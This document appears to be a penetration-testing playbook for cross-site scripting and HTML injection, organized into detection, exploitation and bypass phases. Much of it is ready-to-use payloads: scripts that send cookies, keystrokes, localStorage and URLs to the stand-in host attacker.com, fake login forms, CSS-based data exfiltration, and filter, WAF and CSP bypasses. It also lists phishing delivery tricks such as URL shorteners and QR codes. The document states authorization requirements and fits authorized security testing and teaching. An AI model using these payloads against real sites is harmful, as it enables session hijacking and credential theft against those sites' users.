Cross-Site Scripting and HTML Injection Testing

Purpose

Execute comprehensive client-side injection vulnerability assessments on web applications to identify XSS and HTML injection flaws, demonstrate exploitation techniques for session hijacking and credential theft, and validate input sanitization and output encoding mechanisms. This skill enables systematic detection and exploitation across stored, reflected, and DOM-based attack vectors.

Inputs / Prerequisites

Required Access

Target web application URL with user input fields

Burp Suite or browser developer tools for request analysis

Access to create test accounts for stored XSS testing

Browser with JavaScript console enabled

Technical Requirements

Understanding of JavaScript execution in browser context

Knowledge of HTML DOM structure and manipulation

Familiarity with HTTP request/response headers

Understanding of cookie attributes and session management

Legal Prerequisites

Written authorization for security testing

Defined scope including target domains and features

Agreement on handling of any captured session data

Incident response procedures established

Outputs / Deliverables

XSS/HTMLi vulnerability report with severity classifications

Proof-of-concept payloads demonstrating impact

Session hijacking demonstrations (controlled environment)

Remediation recommendations with CSP configurations

Core Workflow

Phase 1: Vulnerability Detection

Identify Input Reflection Points

Locate areas where user input is reflected in responses:

# Common injection vectors
Search boxes and query parameters

User profile fields (name, bio, comments)

URL fragments and hash values

Error messages displaying user input

Form fields with client-side validation only

Hidden form fields and parameters

HTTP headers (User-Agent, Referer)

Basic Detection Testing

Insert test strings to observe application behavior:

<!-- Basic reflection test -->
<test123>
<!-- Script tag test -->
<script>alert('XSS')</script>
<!-- Event handler test -->
<img src=x onerror=alert('XSS')>
<!-- SVG-based test -->
<svg onload=alert('XSS')><!-- Body event test -->
<body onload=alert('XSS')>

Monitor for:

Raw HTML reflection without encoding

Partial encoding (some characters escaped)

JavaScript execution in browser console

DOM modifications visible in inspector

Determine XSS Type

Stored XSS Indicators:

Input persists after page refresh

Phase 2: Stored XSS Exploitation

Identify Storage Locations

Target areas with persistent user content:

- Comment sections and forums
User profile fields (display name, bio, location)

Product reviews and ratings

Private messages and chat systems

File upload metadata (filename, description)

Configuration settings and preferences

Craft Persistent Payloads

<!-- Cookie stealing payload -->
<script>
document.location='http://attacker.com/steal?c='+document.cookie
</script>
<!-- Keylogger injection -->
<script>
document.onkeypress=function(e){
  new Image().src='http://attacker.com/log?k='+e.key;
}
</script>
<!-- Session hijacking -->
<script>
fetch('http://attacker.com/capture',{
  method:'POST',
  body:JSON.stringify({cookies:document.cookie,url:location.href})
})
</script><!-- Phishing form injection -->
<div id="login">
<h2>Session Expired - Please Login</h2>
<form action="http://attacker.com/phish" method="POST">
Username: <input name="user"><br>
Password: <input type="password" name="pass"><br>
<input type="submit" value="Login">
</form>
</div>

Phase 3: Reflected XSS Exploitation

Construct Malicious URLs

Build URLs containing XSS payloads:

# Basic reflected payload
https://target.com/search?q=<script>alert(document.domain)</script>
URL-encoded payload

https://target.com/search?q=%3Cscript%3Ealert(1)%3C/script%3E
Event handler in parameter

https://target.com/page?name="><img src=x onerror=alert(1)>
Fragment-based (for DOM XSS)

https://target.com/page#<script>alert(1)</script>

Delivery Methods

Techniques for delivering reflected XSS to victims:

1. Phishing emails with crafted links
Social media message distribution

URL shorteners to obscure payload

QR codes encoding malicious URLs

Redirect chains through trusted domains

Phase 4: DOM-Based XSS Exploitation

Identify Vulnerable Sinks

Locate JavaScript functions that process user input:

// Dangerous sinks
document.write()
document.writeln()
element.innerHTML
element.outerHTML
element.insertAdjacentHTML()
eval()
setTimeout()
setInterval()
Function()
location.href
location.assign()
location.replace()

Identify Sources

Locate where user-controlled data enters the application:

// User-controllable sources
location.hash
location.search
location.href
document.URL
document.referrer
window.name
postMessage data
localStorage/sessionStorage

DOM XSS Payloads

// Hash-based injection
https://target.com/page#<img src=x onerror=alert(1)>
// URL parameter injection (processed client-side)
https://target.com/page?default=<script>alert(1)</script>// PostMessage exploitation
// On attacker page:
<iframe src="https://target.com/vulnerable"></iframe>
<script>
frames[0].postMessage('<img src=x onerror=alert(1)>','*');
</script>

Phase 5: HTML Injection Techniques

Reflected HTML Injection

Modify page appearance without JavaScript:

<!-- Content injection -->
<h1>SITE HACKED</h1>
<!-- Form hijacking -->
<form action="http://attacker.com/capture">
<input name="credentials" placeholder="Enter password">
<button>Submit</button>
</form>
<!-- CSS injection for data exfiltration -->
<style>
input[value^="a"]{background:url(http://attacker.com/a)}
input[value^="b"]{background:url(http://attacker.com/b)}
</style><!-- iframe injection -->
<iframe src="http://attacker.com/phishing" style="position:absolute;top:0;left:0;width:100%;height:100%"></iframe>

Stored HTML Injection

Persistent content manipulation:

<!-- Marquee disruption -->
<marquee>Important Security Notice: Your account is compromised!</marquee>
<!-- Style override -->
<style>body{background:red !important;}</style><!-- Hidden content with CSS -->
<div style="position:fixed;top:0;left:0;width:100%;background:white;z-index:9999;">
Fake login form or misleading content here
</div>

Phase 6: Filter Bypass Techniques

Tag and Attribute Variations

<!-- Case variation -->
<ScRiPt>alert(1)</sCrIpT>
<IMG SRC=x ONERROR=alert(1)>
<!-- Alternative tags -->
<svg/onload=alert(1)>
<body/onload=alert(1)>
<marquee/onstart=alert(1)>
<details/open/ontoggle=alert(1)>
<video><source onerror=alert(1)>
<audio src=x onerror=alert(1)><!-- Malformed tags -->
<img src=x onerror=alert(1)//
<img """><script>alert(1)</script>">

Encoding Bypass

<!-- HTML entity encoding -->
<img src=x onerror=&#97;&#108;&#101;&#114;&#116;(1)>
<!-- Hex encoding -->
<img src=x onerror=&#x61;&#x6c;&#x65;&#x72;&#x74;(1)>
<!-- Unicode encoding -->
<script>\u0061lert(1)</script><!-- Mixed encoding -->
<img src=x onerror=\u0061\u006cert(1)>

JavaScript Obfuscation

// String concatenation
<script>eval('al'+'ert(1)')</script>
// Template literals
<script>alert1</script>
// Constructor execution
<script>[].constructor.constructor('alert(1)')()</script>
// Base64 encoding
<script>eval(atob('YWxlcnQoMSk='))</script>// Without parentheses
<script>alert1</script>
<script>throw/a]a]/.source+onerror=alert</script>

Whitespace and Comment Bypass

<!-- Tab/newline insertion -->
<img src=x	onerror
=alert(1)>
<!-- JavaScript comments -->
<script>//alert(1)//</script><!-- HTML comments in attributes -->
<img src=x onerror="alert(1)"<!--comment-->

Quick Reference

XSS Detection Checklist

1. Insert <script>alert(1)</script> → Check execution
Insert <img src=x onerror=alert(1)> → Check event handler

Insert "><script>alert(1)</script> → Test attribute escape

Insert javascript:alert(1) → Test href/src attributes

Check URL hash handling → DOM XSS potential

Common XSS Payloads

Context	Payload
HTML body	`<script>alert(1)</script>`
HTML attribute	`"><script>alert(1)</script>`
JavaScript string	`';alert(1)//`
JavaScript template	`${alert(1)}`
URL attribute	`javascript:alert(1)`
CSS context	`</style><script>alert(1)</script>`
SVG context	`<svg onload=alert(1)>`

Cookie Theft Payload

<script>
new Image().src='http://attacker.com/c='+btoa(document.cookie);
</script>

Session Hijacking Template

<script>
fetch('https://attacker.com/log',{
  method:'POST',
  mode:'no-cors',
  body:JSON.stringify({
    cookies:document.cookie,
    localStorage:JSON.stringify(localStorage),
    url:location.href
  })
});
</script>

Constraints and Guardrails

Operational Boundaries

Never inject payloads that could damage production systems

Limit cookie/session capture to demonstration purposes only

Avoid payloads that could spread to unintended users (worm behavior)

Do not exfiltrate real user data beyond scope requirements

Technical Limitations

Content Security Policy (CSP) may block inline scripts

HttpOnly cookies prevent JavaScript access

SameSite cookie attributes limit cross-origin attacks

Modern frameworks often auto-escape outputs

Legal and Ethical Requirements

Written authorization required before testing

Report critical XSS vulnerabilities immediately

Handle captured credentials per data protection agreements

Do not use discovered vulnerabilities for unauthorized access

Examples

Example 1: Stored XSS in Comment Section

Scenario: Blog comment feature vulnerable to stored XSS

Detection:

POST /api/comments
Content-Type: application/json{"body": "<script>alert('XSS')</script>", "postId": 123}

Observation: Comment renders and script executes for all viewers

Exploitation Payload:

<script>
var i = new Image();
i.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(document.cookie);
</script>

Result: Every user viewing the comment has their session cookie sent to attacker's server.

Example 2: Reflected XSS via Search Parameter

Scenario: Search results page reflects query without encoding

Vulnerable URL:

https://shop.example.com/search?q=test

Detection Test:

https://shop.example.com/search?q=<script>alert(document.domain)</script>

Crafted Attack URL:

https://shop.example.com/search?q=%3Cimg%20src=x%20onerror=%22fetch('https://attacker.com/log?c='+document.cookie)%22%3E

Delivery: URL sent via phishing email to target user.

Example 3: DOM-Based XSS via Hash Fragment

Scenario: JavaScript reads URL hash and inserts into DOM

Vulnerable Code:

document.getElementById('welcome').innerHTML = 'Hello, ' + location.hash.slice(1);

Attack URL:

https://app.example.com/dashboard#<img src=x onerror=alert(document.cookie)>

Result: Script executes entirely client-side; payload never touches server.

Example 4: CSP Bypass via JSONP Endpoint

Scenario: Site has CSP but allows trusted CDN

CSP Header:

Content-Security-Policy: script-src 'self' https://cdn.trusted.com

Bypass: Find JSONP endpoint on trusted domain:

<script src="https://cdn.trusted.com/api/jsonp?callback=alert"></script>

Result: CSP bypassed using allowed script source.

Troubleshooting

Issue	Solutions
Script not executing	Check CSP blocking; verify encoding; try event handlers (img, svg onerror); confirm JS enabled
Payload appears but doesn't execute	Break out of attribute context with `"` or `'`; check if inside comment; test different contexts
Cookies not accessible	Check HttpOnly flag; try localStorage/sessionStorage; use no-cors mode
CSP blocking payloads	Find JSONP on whitelisted domains; check for unsafe-inline; test base-uri bypass
WAF blocking requests	Use encoding variations; fragment payload; null bytes; case variations